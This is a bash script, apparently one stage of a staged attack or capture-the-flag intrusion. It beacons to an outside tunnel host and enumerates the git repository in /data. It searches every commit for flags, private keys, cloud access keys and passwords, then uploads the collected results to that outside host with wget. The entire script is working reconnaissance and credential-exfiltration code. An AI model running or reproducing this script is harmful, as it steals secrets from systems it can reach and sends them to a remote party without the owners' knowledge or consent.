#!/bin/bash
wget -q --post-data=STAGE9_START https://itocu-144-225-109-109.run.pinggy-free.link/stage9_start >/dev/null 2>&1
OUT=/tmp/stage9.txt
{
cd /data 2>/dev/null
echo "=== BRANCH"; git branch -a 2>&1; git tag 2>&1 | head -30
echo "=== LOG"; git log --all --oneline -40 2>&1
echo "=== GREP_LOG"; git log --all --grep='flag' --oneline -i 2>&1 | head -30
echo "=== STATUS"; git status --short 2>&1 | head -20
echo "=== STASH"; git stash list 2>&1
echo "=== REMOTE"; git remote -v 2>&1
echo "=== GREP_TREE"; timeout 30 git grep -i -n 'flag{' $(git rev-list --all | head -200) -- . 2>/dev/null | head -40
echo "=== GREP_KEY"
timeout 20 git grep -i -n -E 'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY|AKID|LTAI|password' $(git rev-list --all | head -50) -- '*.properties' '*.yml' '*.xml' '*.md' 2>/dev/null | head -60
echo "=== DONE9"
} > $OUT 2>&1
wget -q --post-file=$OUT https://itocu-144-225-109-109.run.pinggy-free.link/stage9_upload >/dev/null 2>&1
